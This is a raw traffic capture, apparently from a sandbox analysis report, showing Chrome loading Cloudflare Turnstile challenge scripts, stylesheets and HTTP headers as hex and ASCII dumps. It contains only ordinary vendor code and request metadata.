2024-04-23 19:53:40 UTC	1369	IN	Data Raw: 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 76 61 72 20 44 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 44 7c 7c 28 44 3d 7b 7d 29 29 3b 76 Data Ascii: me parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;function N(e,r){return e.indexOf(r)!==-1}var D;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(D\|\|(D={}));v
2024-04-23 19:53:40 UTC	1369	IN	Data Raw: 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 Data Ascii: ng"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return N(["a
2024-04-23 19:53:40 UTC	1369	IN	Data Raw: 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 65 28 65 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 4e 65 28 29 3f 78 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 78 65 3d 66 75 6e 63 74 69 6f 6e 28 75 2c 73 2c 6d 29 7b 76 61 72 20 62 3d 5b 6e 75 6c 6c 5d 3b 62 2e 70 75 73 68 2e 61 70 70 6c 79 28 62 2c 73 29 3b 76 61 72 20 68 3d 46 75 6e 63 Data Ascii: (typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function xe(e,r,t){return Ne()?xe=Reflect.construct:xe=function(u,s,m){var b=[null];b.push.apply(b,s);var h=Func
2024-04-23 19:53:40 UTC	1369	IN	Data Raw: 6b 65 28 73 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 73 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 73 2e 63 6f 64 65 3d 75 2c 73 7d 72 65 74 75 72 6e 20 74 7d 28 4c 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 59 74 28 74 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 Data Ascii: ke(s),"code",void 0),s.name="TurnstileError",s.code=u,s}return t}(Le(Error));function v(e,r){var t="[Cloudflare Turnstile] ".concat(e,".");throw new Yt(t,r)}function _(e){console.warn("[Cloudflare Turnstile] ".concat(e,"."))}function be(e){return e.starts
2024-04-23 19:53:40 UTC	1369	IN	Data Raw: 2e 63 6f 6e 63 61 74 28 53 29 29 3b 69 66 28 21 55 29 7b 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 7c 7c 28 5f 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 57 69 64 67 65 74 20 22 2e 63 6f 6e 63 61 74 28 53 2c 22 2c 20 63 6f 6e 73 69 64 65 72 20 75 73 69 6e 67 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6d 6f 76 65 28 29 20 74 6f 20 63 6c 65 61 6e 20 75 70 20 61 20 77 69 64 67 65 74 2e 22 29 29 2c 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 3d 21 30 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 28 64 2e 69 73 45 78 65 63 75 74 69 6e 67 7c 7c 21 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 7c 7c 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 26 26 21 64 2e 69 73 53 74 61 Data Ascii: .concat(S));if(!U){d.watchcat.missingWidgetWarning\|\|(_("Cannot find Widget ".concat(S,", consider using turnstile.remove() to clean up a widget.")),d.watchcat.missingWidgetWarning=!0);continue}if((d.isExecuting\|\|!d.isInitialized\|\|d.isInitialized&&!d.isSta
2024-04-23 19:53:40 UTC	1369	IN	Data Raw: 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 72 29 7b 76 61 Data Ascii: eyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}function st(e,r){var t="https://challenges.cloudflare.com";if(r){va
2024-04-23 19:53:40 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 33 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3e 72 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 72 29 3a 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 4a 74 28 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 69 66 28 21 74 7c 7c 74 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 42 4f 44 59 22 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 76 61 72 20 75 3d 31 2c 73 3d 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 73 3b 29 73 2e 74 61 67 4e 61 6d 65 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 26 26 75 2b 2b 2c 73 3d 73 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e Data Ascii: ments.length>1&&arguments[1]!==void 0?arguments[1]:3;return e.length>r?e.substring(0,r):e};function Jt(e){var r=function(t,o){if(!t\|\|t.tagName==="BODY")return o;for(var u=1,s=t.previousElementSibling;s;)s.tagName===t.tagName&&u++,s=s.previousElementSiblin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49744	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:40 UTC	788	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:41 UTC	1332	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA document-policy: js-profiling referrer-policy: same-origin content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' cross-origin-embedder-policy: require-corp cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA origin-agent-cluster: ?1 cross-origin-resource-policy: cross-origin permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()
2024-04-23 19:53:41 UTC	146	IN	Data Raw: 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 6f 70 65 6e 65 72 2d 70 6f 6c 69 63 79 3a 20 73 61 6d 65 2d 6f 72 69 67 69 6e 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 39 30 36 36 61 66 32 64 32 35 34 35 32 37 2d 41 54 4c 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cross-origin-opener-policy: same-originvary: accept-encodingServer: cloudflareCF-RAY: 879066af2d254527-ATLalt-svc: h3=":443"; ma=86400
2024-04-23 19:53:41 UTC	1260	IN	Data Raw: 31 65 64 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: 1edb<!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scal
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 0a 62 6f 64 79 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 Data Ascii: { margin: 0; padding: 0; width: 100%; height: 100%; overflow: hidden;}body { margin: 0; background-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 38 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 Data Ascii: width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10;}#success-icon { display: flex; margin-right: 8px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 3a 61 63 74 69 76 65 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 66 6f 63 75 73 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 Data Ascii: :active, .theme-dark #challenge-overlay a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .ctp-checkbox-label .mark { border: 2px s
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 65 72 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 65 72 6d 73 20 61 3a 61 63 74 69 76 65 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 65 72 6d 73 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 Data Ascii: er, .theme-dark #terms a:active, .theme-dark #terms a:focus { color: #949494;}.theme-dark #content { border-color: #666; background-color: #222;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark
2024-04-23 19:53:41 UTC	1171	IN	Data Raw: 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 38 70 78 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c Data Ascii: { margin: 0 8px;}#challenge-overlay { position: absolute; top: 0; z-index: 9999; background-color: #fafafa;}#challenge-overlay,#challenge-error-text { text-align: center; line-height: 10px; color: #de1303; font-size: 9px;}#chall
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 35 66 37 61 0d 0a 66 74 3a 20 31 31 70 78 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 33 37 70 78 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 32 30 70 78 3b 0a 20 20 6c 65 66 74 3a 20 31 38 70 78 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 77 69 64 Data Ascii: 5f7aft: 11px; cursor: pointer; text-align: left;}.ctp-checkbox-label { cursor: pointer; padding-left: 37px;}.ctp-checkbox-label input { position: absolute; top: 20px; left: 18px; opacity: 0; z-index: 9999; cursor: pointer; wid
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 7a 65 2d 63 6f 6d 70 61 63 74 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 20 7b 0a 20 20 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 3b 0a 20 20 61 Data Ascii: ze-compact { font-size: 13px;}.size-compact .ctp-checkbox-label .mark { left: 15px;}.size-compact .ctp-checkbox-label input { left: 15px;}.size-compact #content { display: flex; flex-flow: column nowrap; place-content: center center; a
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 72 6f 77 2d 72 65 76 65 72 73 65 20 6e 6f 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 66 6c 65 78 2d 65 6e 64 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 70 78 3b 0a 7d 0a 0a 2e 72 74 6c 20 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 32 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 7d 0a 2e 72 74 6c 20 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 66 Data Ascii: display: flex; flex-flow: row-reverse nowrap; place-content: center flex-end; align-items: center; padding-left: 2px;}.rtl .ctp-label { padding-right: 2px; padding-left: 0;}.rtl #success-icon { left: 255px; margin-left: 8px;}.rtl #f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49745	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:41 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=879066af2d254527 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:41 UTC	358	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:41 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 879066b29bb76755-ATL alt-svc: h3=":443"; ma=86400
